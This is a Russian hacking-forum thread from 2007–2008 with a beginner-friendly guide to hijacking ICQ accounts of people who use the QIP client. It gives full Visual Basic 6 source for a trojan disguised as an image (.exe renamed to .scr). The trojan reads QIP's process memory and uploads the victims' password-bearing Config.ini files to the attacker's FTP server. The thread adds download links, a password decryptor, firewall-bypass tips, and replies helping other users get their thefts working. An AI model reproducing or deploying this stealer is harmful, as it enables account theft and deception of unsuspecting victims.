VB. Крадём пароль от QIP

Тема в разделе "Статьи", создана пользователем karas, 24 май 2007.

  1. Хел
    Хел Guest
    ~|~евто|-|,
    заголовок можно настроить через конфиг текстовый файл...через него же и переводят)) непомню навзание тока..у мя даж самопальный перевод был.
     
    19 дек 2007
  2. ~|~евто|-|
    ~|~евто|-| Silentium Новичок
    Симпатии:
    32
    Helkern, заголовок прописывается в
    Код:
    ..\QIP\LI\<язык>\lang.ini
    Первым ключом раздела [Manager] :)
     
    19 дек 2007
  3. Хел
    Хел Guest
    ~|~евто|-|,
    ну да) ты прав, так что юзеру отредактировать заголовок не составить труда.
     
    19 дек 2007
  4. Robo
    Robo Guest
    А можно сначала сверять класс окна а потом получить заголовок для пусщей убедительности. Тогда переименование не поможет
     
    19 дек 2007
  5. karas
    karas Guest
    Qipper 2

    В этой статье я опишу как угнать номер ICQ у человека, сидящего через ICQ клиент QIP. Статья расчитанна не только на опытных программистов и новичков, но и на людей, далёких от программирования. итак, приступим:

    Нам потребуется:

    1. Visual basic 6.0 (среда разработки приложений)
    2. FTP акаунт
    3. Исходники программы

    [Скачать исходники]
    http://rapidshare.com/files/78103947/QIPPER__v.rar



    [Как работает(коротко)]
    Мы регаем себе FTP*(например на www.nm.ru), получаем логин и пароль. Вписываем их в исходный код троя(qipper), и делаем EXE файл. Впариваем его жертве под видом картинки(предварительно поменяв расширение с .exe на .scr). Жертва запускает и видит перед собой картинку. Смотрит её, закрывает её и забывает.. трой тем временем находит папку с QIP(qip у жертвы должен быть рапущен), ищет все номера, сохранённые там, и отсылает на зареганный нами ранее FTP файлы с зашифрованными в них паролями от найденных номеров.

    [Как всё сделать]
    итак, мы скачали архив QIPPER_v2.rar, и у нас есть Visual basic 6.0, но мы не знаем чтто с этим делать. Всё просто.
    1. Распаковываем архив и видим там много файлов. нас интересует только Project1.vbp - это файл проекта.
    2. Открываем Project1.vbp в Visual Basic
    3. Перед нами появляется окно кода. там есть строки:
    Код:
    Const Serv As String = "FTP сервер"
    Const Login As String = "логин"
    Const Pass As String = "пароль"
    Вписываем атрибуты зареганного ранее FTP в соответствующие строки(сежду кавычек)
    Например так:
    Код:
    Const Serv As String = "ftp.newmail.ru"
    Const Login As String = "qipper.nm.ru"
    Const Pass As String = "123456"
    с FTP закончили. теперь можно поставить картинку, которую увидит жертва при запуске:




    4. Выбираем меню View-->Object. Видим форму, на ней картинка и список файлов, так вот, эту картинку и увидит жертва при запуске. Чтобы её поменять, выдетим её:
    [​IMG]

    Теперь в её Properties(свойства) в пункте Picture выберем свою картинку:
    [​IMG]


    5. Осталос сделать EXE файл. Для этого выбираем File --> Make EXE:
    [​IMG]

    Переименовываем EXE файл в scr и даём его жертве. Готово!
    - Рекомендую перед использованием протестить на себе, запусив QIP, а потом сделанного троя.

    ах, да, чтобы расшифровать пароли присланные троем, используйте QPR:

    [Как работает(делально)]
    Тут опишу подробнее как всё работает:
    проект состоит из 2х обьектов: формы и модуля. в модуле лежат все API функции, используемые троем, в форме - ресурсы и весь рабочий код.

    код:
    Код:
    Option Explicit
    
    Const Serv As String = "FTP сервер"
    Const Login As String = "логин"
    Const Pass As String = "пароль"
    
    
    Private Sub Form_Load()
    Dim Adress, F_local, F_remote As String
    Dim i, ii, n As Integer
    Dim hINetSession As Long
    Dim hSession As Long
    App.TaskVisible = False      'Не отображаемся на таскбаре и списке задач
    Me.Hide                      'Скрываем форму
    PICTA                        'Запускаем программу просмотра изображений и факсов для отображения фотки
    
    '////////////// приступаем к делу /////////////////////////////////////
    Adress = bugoga                                     'определяем адрес QIP
    If Adress = "" Then End                             'Если QIP не запущен, то закрываемся
    '/////////////////// адрес получили. посмотрим какие номерки лежат в папке Users ///////////
    For i = 1 To Len(Adress)                              '//
    If Mid$(Adress, i, 1) = "\" Then n = i               '//   отрезаем от адреса \qip.exe
    Next i                                              '//
    Adress = Mid$(Adress, 1, n - 1) & "\Users"         '//
    Form1.Dir1 = Adress                     'указываем обьекту Dir1 путь
    
    hINetSession = InternetOpen("MyFTPClient", 0, vbNullString, vbNullString, 0)    'открываем сессию
    hSession = InternetConnect(hINetSession, Serv, "21", Login, Pass, 1, 0, 0)      'коненектимся
    For i = 0 To Dir1.ListCount - 1                                                 'проверяем все номерки
        F_local = Dir1.List(i) & "\" & "Config.ini"                                 'формируем пути
        For ii = 1 To Len(Dir1.List(i))
        If Mid$(Dir1.List(i), ii, 1) = "\" Then n = ii
        Next ii
        F_remote = "Config_" & Mid$(Dir1.List(i), n + 1, Len(Dir1.List(i)) - n) & ".ini"
        Call FtpPutFile(hSession, F_local, F_remote, 1, 0)                        'отсылаем файл
    Next i
    
    Call InternetCloseHandle(hSession)              'дисконектимсо
    Call InternetCloseHandle(hINetSession)          'закрываем сессию
    End
    End Sub
    
    
    
    Private Function bugoga()
    '//////////////// версии QIP:7950,7990,7997,7998,8000,8010,8020,8030,8040 ////
    
    On Error Resume Next
    Dim hwind As Long                                       'дескриптор окна
    Dim pid As Long                                         'ID процесса
    Dim pHandle As Long                                     'Хендл процесса
    Dim txt As Byte                                         'Для записи байт
    Dim adr As Long                                         'Адрес
    Dim i As Integer                                        'Счётчик
    Dim Rez As String                                       'результат
    adr = "&H1000CBD0"                                      'Стартовый адрес
    hwind = FindWindow(vbNullString, "About [qip]")         'Ищем окно
    If (hwind = 0) Then Exit Function                       'Если QIP запущен то всё норм, ес нет, то облом
    GetWindowThreadProcessId hwind, pid                     'получаем Process ID
    pHandle = OpenProcess(PROCESS_ALL_ACCESS, 0&, pid)      'Отврываем процесс
    If (pHandle = 0) Then Exit Function                     'Если всё норм, то едем далее
    
    Do                                                      'цикл
    ReadProcessMemory pHandle, adr, VarPtr(txt), 1, 0&      'читаем первай байт с адреса
    Rez = Rez & Chr(txt)                                    'записываем байт
    If Len(Rez) > 4 Then                                    'если уже записали 4 байта
    If Mid$(Rez, Len(Rez) - 4, 4) = ".exe" Then GoTo 10     'проверим, узнали мы весь путь
    End If
    adr = adr + 1                                           'переходим к следующему адресу
    Loop                                                    '/цикл
    10 bugoga = Rez
    End Function
    
    
    Sub PICTA()
    Dim windir As String
    Dim slength As Long
    Dim kart As String
    windir = Space(255)
    slength = GetWindowsDirectory(windir, 255) ' определяем папку с виндой
    windir = Left(windir, slength)
    kart = windir & "\" & App.EXEName & ".scr" ' задаём путь для сохраняемой фотки
    SavePicture Form1.Picture1.Image, kart     ' сохраняем фотку
    Shell windir & "\system32\rundll32 " & windir & "\system32\shimgvw.dll,ImageView_Fullscreen " & kart ' открываем сохранённую фотку
    Sleep (2000)                               ' ждём 2 секунды
    Kill kart                                  'Удаляем сохранённую фотку
    End Sub
    
    Трой при запуске сохраняет на винт в папку windows картинку с формы. открывает картинку в программе просмотра изображений и факсов.
    Далее трой ищет окно About [qip] (оно регистрируется при запуске QIP). Если не находит - закрывается, если находит по его дескриптору получает ID процесса QIP, затем открывает пройесс, и начиная с адреса &H1000CBD0 начинает считывать ьайты следующих алресов, пока не наткнётся на последовательность байтов, обозначающих ".exe". найда их завершает считывание и управление процессом. Дело в том, что во всех версиях QIP(не считая qipinfium) по этому адресу в памяти лежит путь к EXE. Итак, путь к папке с QIP найден. теперь трой смотрит все номерки, сохранённые у жертвы и отсылает файлы с паролями на FTP.

    P.S. Данная статья имеет исключительно ознакомительный характер и её автор не несёт никакой ответственности за возможные последствия :)
     
    20 дек 2007
    3 пользователям это понравилось.
  6. nitr0d
    nitr0d Guest
    karas,
    По какой то причине не отсылает пароль. Все компилится без ошибок. В коде ставлю только свои логины и пароли. Почему так?
     
    22 дек 2007
  7. Zoth
    Zoth Новичок
    Симпатии:
    0
    какой-нибудь другой? какие порты прописать можно?
     
    22 дек 2007
  8. karas
    karas Guest
    hexxer0k,
    Скорее всего неверно вписал FTP серв логин и пасс. Не забудь, что троян успешно сработает, если только запущен QIP(версии 7900-8040).

    Zoth,
    Порт может быть какой угодно, 1000, 1033, 1011 и т.д.. главное чтобы этот порт не использовало никакие приложение ни у серва ни у клиента(не ставвь порты 80, 5190)
     
    23 дек 2007
  9. Zoth
    Zoth Новичок
    Симпатии:
    0
    эээм...господа) звините за откровенную некомпетентность в сей теме...но.. что жертве отсылать? всю папко клиент чтоле?)
     
    23 дек 2007
  10. 4KNT
    4KNT Новичок
    Симпатии:
    0
    Zoth,
    Отсылать надо только откомпиленный файл ;)
     
    5 янв 2008
  11. _†_Logan_†_
    _†_Logan_†_ Новичок
    Симпатии:
    0
    Пожалуйста Помогите найти Visual basic 6.0
     
    13 янв 2008
  12. Still
    Still Новичок
    Симпатии:
    0
    Нмного не понимаю как кража ппароля от qip связана c VB6?заголовок темы поменяй)))
     
    13 янв 2008
  13. wriwel
    wriwel Guest
    это напрямую связано с VB=\
    http://www.xaker.name/forvb/showthread.php?p=48904#post48904
     
    13 янв 2008
  14. _†_Logan_†_
    _†_Logan_†_ Новичок
    Симпатии:
    0
    ураа , заработало ! :happy: Спасибки огромное автору !!! Всё идёт хорошо ,( всё на FTP, приходит , кроме пароля) чёт пароли он , то ли ненаходит , то ли ... незнаю.. в чём проблема ? :crying:
     
    Последнее редактирование: 16 янв 2008
    16 янв 2008
  15. karas
    karas Guest
    karkon,
    1. ищи "обход брандмауэра windows". видел статейку, нада создать десяток ключей в реестре и брандмауэр молчит :)

    2. юзай QPR
    http://slil.ru/25065654
    пароль на архив - www.xaker.name
     
    Последнее редактирование модератором: 11 мар 2008
    2 фев 2008
  16. karkon
    karkon Новичок
    Симпатии:
    0
    всё равно пароль можно вытащить только если его сохраняют...
     
    3 фев 2008
  17. tip
    tip Новичок
    Симпатии:
    0
    я воспользовался этим спосбом, а как щас разшифровать файл .ini который мне пришёл на FTP?
     
    12 апр 2008
  18. vizard-06
    vizard-06 Guest
    karas зачем так усложнять программу поиском окон потом чтением процесса, только для того чтоб узнать путь?.... всё гораздо проще можно реализовать....
    Код:
    Private Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
    Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
    Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
    Private Declare Function GetModuleFileNameExA Lib "psapi.dll" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long
    Private Const MAX_PATH              As Long = 260
    
    
    Private Sub Command1_Click()
    
        Dim Modules(1 To 200) As Long
        Dim lRet As Long
        Dim ModuleName As String
        Dim nSize As Long
        Dim pHandle As Long
        
        pHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, 3532)
        If (pHandle <> 0) Then
            ModuleName = Space(MAX_PATH)
            nSize = 500
            lRet = GetModuleFileNameExA(pHandle, Modules(1), ModuleName, nSize) 'Get the EXE Path
            tmp = Left(ModuleName, lRet)
            MsgBox ModuleName
        End If
        CloseHandle pHandle
    End Sub
    
    например так :)
     
    25 июн 2008
    1 человеку нравится это.
  19. Unkn0wN
    Unkn0wN Guest
    Да ну его, мне кажется лучше пинч хорошенько закриптованный использовать, улова будет гораздо больше ;)
     
    21 сен 2008
  20. onthar
    onthar Продвинутый
    Симпатии:
    224
    Пинч 8070 квип не тянет.
     
    21 сен 2008
Загрузка...